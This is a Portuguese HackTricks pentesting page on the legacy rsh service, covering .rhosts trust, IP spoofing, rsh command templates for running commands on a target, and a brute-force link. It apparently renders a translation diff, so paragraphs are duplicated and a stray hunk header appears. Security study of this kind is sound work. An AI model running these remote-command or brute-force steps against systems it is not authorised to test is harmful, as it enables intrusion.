Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Informação Básica
## Informações Básicas
Para autenticação, os arquivos **.rhosts** juntamente com **/etc/hosts.equiv** eram utilizados pelo **Rsh**. A autenticação dependia de endereços IP e do Sistema de Nomes de Domínio (DNS). A facilidade de falsificar endereços IP, especialmente na rede local, era uma vulnerabilidade significativa.
Para autenticação, arquivos **.rhosts** juntamente com **/etc/hosts.equiv** foram utilizados pelo **Rsh**. A autenticação dependia de endereços IP e do Sistema de Nomes de Domínio (DNS). A facilidade de falsificação de endereços IP, notavelmente na rede local, era uma vulnerabilidade significativa.
Além disso, era comum que os arquivos **.rhosts** fossem colocados nos diretórios pessoais dos usuários, que frequentemente estavam localizados em volumes do Sistema de Arquivos de Rede (NFS).
Além disso, era comum que os arquivos **.rhosts** fossem colocados dentro dos diretórios pessoais dos usuários, que frequentemente estavam localizados em volumes do Sistema de Arquivos de Rede (NFS).
**Porta padrão**: 514
@ -29,21 +30,22 @@ rsh <IP> -l domain\user <Command>
rsh domain/user@<IP> <Command>
rsh domain\\user@<IP> <Command>
```
### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#rsh)
### [**Força Bruta**](../generic-methodologies-and-resources/brute-force.md#rsh)
## Referências
* [https://www.ssh.com/ssh/rsh](https://www.ssh.com/ssh/rsh)
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}